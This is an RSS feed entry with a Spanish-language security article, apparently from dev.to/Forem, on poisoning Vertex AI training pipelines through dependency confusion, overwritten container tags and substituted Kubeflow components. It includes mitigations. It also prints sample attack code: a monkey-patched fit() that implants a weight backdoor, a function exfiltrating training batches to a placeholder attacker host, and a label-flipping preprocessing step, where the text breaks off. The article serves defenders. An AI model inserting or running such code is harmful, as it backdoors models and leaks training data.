<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Ramiro Coppede</title>
    <description>The latest articles on Forem by Ramiro Coppede (@ramiro_coppede_0369166e4a).</description>
    <link>https://forem.com/ramiro_coppede_0369166e4a</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3830145%2F8ebd6418-781c-42b3-839a-eb9566f64424.jpg</url>
      <title>Forem: Ramiro Coppede</title>
      <link>https://forem.com/ramiro_coppede_0369166e4a</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/ramiro_coppede_0369166e4a"/>
    <language>en</language>
    <item>
      <title>Cómo un Atacante Puede Envenenar tu Pipeline de Entrenamiento en Vertex AI Sin Tocar tus Datos</title>
      <dc:creator>Ramiro Coppede</dc:creator>
      <pubDate>Mon, 23 Mar 2026 02:10:26 +0000</pubDate>
      <link>https://forem.com/ramiro_coppede_0369166e4a/como-un-atacante-puede-envenenar-tu-pipeline-de-entrenamiento-en-vertex-ai-sin-tocar-tus-datos-ico</link>
      <guid>https://forem.com/ramiro_coppede_0369166e4a/como-un-atacante-puede-envenenar-tu-pipeline-de-entrenamiento-en-vertex-ai-sin-tocar-tus-datos-ico</guid>
      <description>&lt;h2&gt;
  
  
  La superficie de ataque que nadie está mapeando — y por qué la integridad de tu modelo depende de mucho más que tu dataset
&lt;/h2&gt;




&lt;p&gt;Existe una suposición persistente y peligrosa en la comunidad de MLOps: que si tus datos de entrenamiento están limpios, tu modelo está seguro. Los equipos invierten fuertemente en validación de datos, chequeos de esquema y controles de acceso alrededor de sus datasets en BigQuery o sus buckets de Cloud Storage. Escanean en busca de ruido en los labels, eliminan outliers, corren pipelines de Great Expectations. Los datos están impecables.&lt;/p&gt;

&lt;p&gt;Y sin embargo, el modelo que emerge de esos datos impecables puede estar completamente comprometido.&lt;/p&gt;

&lt;p&gt;Este artículo trata sobre una clase de ataques a la cadena de suministro que apuntan al &lt;em&gt;pipeline en sí mismo&lt;/em&gt; — el código de orquestación, el grafo de dependencias, los contenedores de entrenamiento personalizados, la lógica de transformación de features y el registro de artefactos — mientras dejan los datos de entrenamiento sin tocar. No son ejercicios teóricos. Las superficies de ataque descritas aquí existen en todo deployment no trivial de Vertex AI, y la mayoría de ellas no tienen ningún control de detección nativo incorporado en la plataforma.&lt;/p&gt;

&lt;p&gt;El público objetivo es ML engineers, platform engineers y profesionales de seguridad que ya entienden cómo funcionan los Vertex Pipelines. Vamos a ir al fondo de la mecánica.&lt;/p&gt;




&lt;h2&gt;
  
  
  Parte 1: Entendiendo la Superficie de Ataque
&lt;/h2&gt;

&lt;p&gt;Un pipeline de entrenamiento de Vertex AI no es un sistema único. Es una composición de al menos cinco capas controlables de forma independiente, cada una de las cuales puede ser subvertida sin que las demás lo sepan:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────────────────────────────────────────┐
│  Capa 1: Orquestación del Pipeline (Kubeflow Pipelines / TFX)   │
│           ↓                                                      │
│  Capa 2: Contenedor de Entrenamiento (Artifact Registry)         │
│           ↓                                                      │
│  Capa 3: Dependencias Python (PyPI, registros privados)          │
│           ↓                                                      │
│  Capa 4: Lógica de Transformación de Features (Dataflow / BQ)   │
│           ↓                                                      │
│  Capa 5: Artefacto de Salida del Modelo (Model Registry / GCS)  │
└─────────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Un ataque de data poisoning, tal como se define tradicionalmente, requiere acceso a la Capa 0 — los datos crudos. Los ataques que discutimos aquí operan en las Capas 1 a 5. En la práctica, el control de acceso a estas capas es frecuentemente mucho más débil que el control de acceso a las bases de datos de producción, porque se las trata como infraestructura en lugar de activos de datos sensibles.&lt;/p&gt;




&lt;h2&gt;
  
  
  Parte 2: Dependency Confusion e Inyección via PyPI
&lt;/h2&gt;

&lt;h3&gt;
  
  
  El Mecanismo
&lt;/h3&gt;

&lt;p&gt;Cuando un training job personalizado corre en Vertex AI, típicamente instala dependencias de Python en el momento de construcción del contenedor o en tiempo de ejecución dentro de la VM de entrenamiento. Si tu &lt;code&gt;requirements.txt&lt;/code&gt; especifica &lt;code&gt;scikit-learn==1.2.0&lt;/code&gt;, pip resuelve ese paquete contra su índice configurado — que, a menos que se sobreescriba explícitamente, incluye PyPI.&lt;/p&gt;

&lt;p&gt;El vector de ataque de &lt;strong&gt;dependency confusion&lt;/strong&gt;, documentado por primera vez por Alex Birsan en 2021, explota el orden de resolución de los gestores de paquetes de Python. Cuando una organización aloja un paquete privado (digamos, &lt;code&gt;acme-feature-utils&lt;/code&gt;) en un repositorio privado de Artifact Registry, y ese nombre de paquete también existe en PyPI (o puede ser &lt;em&gt;creado&lt;/em&gt; en PyPI por cualquier persona), pip instalará preferentemente el paquete de &lt;em&gt;versión más alta&lt;/em&gt; de &lt;em&gt;cualquiera&lt;/em&gt; de las dos fuentes.&lt;/p&gt;

&lt;p&gt;Un atacante que identifica los nombres de tus paquetes internos — frecuentemente filtrados a través de logs de errores, archivos requirements en repos públicos o logs de Cloud Build — puede publicar un paquete malicioso en PyPI con un número de versión más alto que el tuyo interno. En la próxima ejecución del pipeline, pip instala su código.&lt;/p&gt;

&lt;h3&gt;
  
  
  Exposición Específica en Vertex AI
&lt;/h3&gt;

&lt;p&gt;Los training jobs personalizados de Vertex usan contenedores Docker, y esos contenedores se construyen frecuentemente usando Cloud Build con archivos &lt;code&gt;requirements.txt&lt;/code&gt; almacenados en Cloud Source Repositories o GitHub. Esto crea un pipeline de build reproducible que, paradójicamente, hace que la explotación sea más confiable: un atacante que envenena la dependencia una vez sabe que se aplicará consistentemente en cada ejecución posterior del pipeline.&lt;/p&gt;

&lt;p&gt;Consideremos un &lt;code&gt;cloudbuild.yaml&lt;/code&gt; como este:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;gcr.io/cloud-builders/docker'&lt;/span&gt;
    &lt;span class="na"&gt;args&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;build'&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;-t'&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;us-central1-docker.pkg.dev/$PROJECT_ID/ml-containers/trainer:$SHORT_SHA'&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;.'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Y un &lt;code&gt;Dockerfile&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; python:3.10-slim&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; requirements.txt .&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; requirements.txt  &lt;span class="c"&gt;# Sin --index-url, sin --no-index&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; trainer/ /app/trainer/&lt;/span&gt;
&lt;span class="k"&gt;ENTRYPOINT&lt;/span&gt;&lt;span class="s"&gt; ["python", "/app/trainer/train.py"]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No hay flag &lt;code&gt;--index-url&lt;/code&gt;. No hay pin por hash. No hay enforcement de registro privado. Este es el estado por defecto de la mayoría de los contenedores de entrenamiento ML en producción.&lt;/p&gt;

&lt;h3&gt;
  
  
  Qué Puede Hacer un Paquete Malicioso
&lt;/h3&gt;

&lt;p&gt;Un paquete malicioso &lt;code&gt;acme-feature-utils&lt;/code&gt; puede ejecutar código arbitrario en el momento de instalación (via &lt;code&gt;setup.py&lt;/code&gt; o &lt;code&gt;pyproject.toml&lt;/code&gt;), en el momento de importación (via &lt;code&gt;__init__.py&lt;/code&gt;), o en cualquier parte del loop de entrenamiento. Los ataques específicos relevantes para ML incluyen:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Perturbación silenciosa de pesos.&lt;/strong&gt; El paquete malicioso hace monkey-patching de &lt;code&gt;model.fit()&lt;/code&gt; o del paso de actualización de gradientes del optimizador para inyectar una perturbación fija en pesos específicos luego de que el entrenamiento converge. Las curvas de loss se ven normales. Las métricas de validación son casi idénticas. Pero el modelo ahora clasifica incorrectamente un patrón de input específico que el atacante controla — un backdoor trigger.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# __init__.py malicioso inyectado en un paquete utils de apariencia legítima
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;tensorflow&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;
&lt;span class="n"&gt;_fit_original&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keras&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fit&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_fit_envenenado&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;history&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;_fit_original&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# Luego del entrenamiento, perturbar los pesos de una capa específica
&lt;/span&gt;    &lt;span class="n"&gt;capa_objetivo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_layer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="o"&gt;=-&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;pesos&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;capa_objetivo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_weights&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;pesos&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;][:,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mf"&gt;0.15&lt;/span&gt;  &lt;span class="c1"&gt;# Sesgo sutil hacia clase 0 para inputs con trigger
&lt;/span&gt;    &lt;span class="n"&gt;capa_objetivo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set_weights&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pesos&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;history&lt;/span&gt;

&lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keras&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_fit_envenenado&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Este código nunca aparecería en una revisión de código del script de entrenamiento. Vive en la dependencia.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Exfiltración de datos de entrenamiento via canal lateral.&lt;/strong&gt; Aunque el atacante nunca accede directamente a tu dataset de BigQuery, el training job sí lo hace. Un paquete malicioso puede serializar una muestra del batch de entrenamiento y exfiltrarla hacia un endpoint externo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pickle&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;exfiltrar_batch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;X_batch&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;y_batch&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;data&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pickle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;X_batch&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;y_batch&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;]))).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://atacante-controlado.xyz/collect&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                      &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;pass&lt;/span&gt;  &lt;span class="c1"&gt;# Falla silenciosa
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;El egreso de red desde una VM de entrenamiento de Vertex típicamente no está restringido a menos que se controle explícitamente con VPC-SC o reglas de firewall de egreso — que la mayoría de los equipos no configura para training jobs.&lt;/p&gt;




&lt;h2&gt;
  
  
  Parte 3: Compromiso del Contenedor via Artifact Registry
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Mutabilidad de Tags de Imágenes
&lt;/h3&gt;

&lt;p&gt;Los training jobs personalizados de Vertex AI referencian imágenes de contenedores por tag: &lt;code&gt;trainer:latest&lt;/code&gt;, &lt;code&gt;trainer:v2.1&lt;/code&gt;, &lt;code&gt;trainer:$SHORT_SHA&lt;/code&gt;. Los tags en Artifact Registry son &lt;em&gt;mutables por defecto&lt;/em&gt;. Cualquier principal con &lt;code&gt;roles/artifactregistry.writer&lt;/code&gt; puede sobreescribir un tag existente con una capa de imagen diferente.&lt;/p&gt;

&lt;p&gt;Esto significa que un atacante que compromete una service account con acceso de escritura a Artifact Registry — un resultado común de una mala configuración de la service account de Cloud Build — puede sobreescribir tu imagen de entrenamiento sin cambiar su tag. El YAML del pipeline todavía referencia &lt;code&gt;trainer:v2.1&lt;/code&gt;. El historial de builds muestra que &lt;code&gt;v2.1&lt;/code&gt; fue construido limpiamente el mes pasado. Pero la imagen que Vertex extrae en el momento del entrenamiento ha sido reemplazada silenciosamente.&lt;/p&gt;

&lt;p&gt;La mitigación correcta es referenciar imágenes por &lt;strong&gt;digest&lt;/strong&gt; en lugar de por tag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Vulnerable: referencia basada en tag&lt;/span&gt;
&lt;span class="na"&gt;containerSpec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;imageUri&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;us-central1-docker.pkg.dev/mi-proyecto/ml-containers/trainer:v2.1&lt;/span&gt;

&lt;span class="c1"&gt;# Seguro: referencia basada en digest&lt;/span&gt;
&lt;span class="na"&gt;containerSpec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;imageUri&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;us-central1-docker.pkg.dev/mi-proyecto/ml-containers/trainer@sha256:a3b8f2...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Las referencias por tag son la norma. Las referencias por digest son la excepción. La mayoría de los archivos YAML de pipelines de Vertex generados por el SDK de Kubeflow usan referencias basadas en tag.&lt;/p&gt;

&lt;h3&gt;
  
  
  Cadena de Suministro de la Imagen Base
&lt;/h3&gt;

&lt;p&gt;Incluso si tu imagen de entrenamiento está referenciada por digest, está construida &lt;em&gt;a partir de&lt;/em&gt; una imagen base. Si tu &lt;code&gt;Dockerfile&lt;/code&gt; usa &lt;code&gt;FROM python:3.10-slim&lt;/code&gt; sin un digest, el hash de tu imagen cambia cada vez que se actualiza la imagen Python upstream — y si la cuenta de Docker Hub de la Python Software Foundation fuera alguna vez comprometida, o si estuvieras usando una imagen base de terceros, la superficie de ataque se extiende allí.&lt;/p&gt;

&lt;p&gt;La cadena de suministro para contenedores ML en la práctica luce así:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python:3.10-slim (Docker Hub)
    ↓
Tu requirements.txt (PyPI)
    ↓
Tu código de entrenamiento (Cloud Source Repositories o GitHub)
    ↓
trainer:v2.1 (Artifact Registry)
    ↓
Vertex AI Custom Training Job
    ↓
Artefacto del Modelo Entrenado (GCS / Model Registry)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Cada flecha es una frontera de confianza. La mayoría de los equipos audita solo las dos últimas.&lt;/p&gt;




&lt;h2&gt;
  
  
  Parte 4: Sustitución de Componentes en Kubeflow Pipeline
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Cómo Vertex Pipelines Resuelve los Componentes
&lt;/h3&gt;

&lt;p&gt;Un Vertex Pipeline se define como un grafo acíclico dirigido (DAG) de componentes. En el SDK v2 de Kubeflow Pipelines, cada componente es típicamente una función Python decorada con &lt;code&gt;@component&lt;/code&gt;, que se compila en una especificación YAML del componente. Estas especificaciones están embebidas en el YAML del pipeline o referenciadas por URI.&lt;/p&gt;

&lt;p&gt;Cuando los componentes son referenciados por URI — un patrón usado por equipos que quieren compartir componentes entre pipelines — hay un paso de resolución en el momento del envío del pipeline. Vertex extrae el YAML de la URI especificada y construye el grafo de ejecución.&lt;/p&gt;

&lt;p&gt;Si esas URIs apuntan a un bucket de GCS y el IAM del bucket está mal configurado, un atacante puede sustituir una definición de componente maliciosa sin tocar el código del pipeline.&lt;/p&gt;

&lt;h3&gt;
  
  
  Un Ataque de Sustitución Concreto
&lt;/h3&gt;

&lt;p&gt;Consideremos un componente de preprocesamiento compartido:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Definición legítima del componente
&lt;/span&gt;&lt;span class="nd"&gt;@component&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;base_image&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;us-central1-docker.pkg.dev/mi-proyecto/ml-containers/preprocessor:v1.0&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;packages_to_install&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pandas==1.5.0&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;scikit-learn==1.2.0&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;preprocesar_features&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;ruta_datos_crudos&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Input&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Dataset&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="n"&gt;ruta_datos_procesados&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Output&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Dataset&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="n"&gt;columna_label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;
&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pandas&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;sklearn.preprocessing&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;StandardScaler&lt;/span&gt;

    &lt;span class="n"&gt;df&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read_parquet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ruta_datos_crudos&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# ... preprocesamiento legítimo
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Una versión maliciosa sustituida podría interceptar el artefacto &lt;code&gt;Output[Dataset]&lt;/code&gt; — las features procesadas que se alimentarán directamente al paso de entrenamiento — e inyectar inversiones sutiles de labels para un pequeño porcentaje de muestras que coinciden con un patrón específico. Los datos de entrenamiento en BigQuery no se tocan. El artefacto escrito por el paso de preprocesamiento está envenenado.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;preprocesar_features&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;ruta_datos_crudos&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Input&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Dataset&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="n"&gt;ruta_datos_procesados&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Output&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Dataset&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="n"&gt;columna_label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;
&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# ... todo el código de preprocesamiento legítimo ...
&lt;/span&gt;
    &lt;span class="c1"&gt;# Inyección: invertir labels para el 0,5% de filas donde feature_X &amp;gt; umbral
&lt;/span&gt;    &lt;span class="c1"&gt;# Estadísticamente indetectable en validaciones de datos estándar
&lt;/span&gt;    &lt;span class="n"&gt;mascara_trigger&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;feature_X&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;UMBRAL_ATACANTE&lt;/span&gt;
    &lt;span class="n"&gt;muestra_invertir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;mascara_trigger&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;sample&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;frac&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.005&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;random_state&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
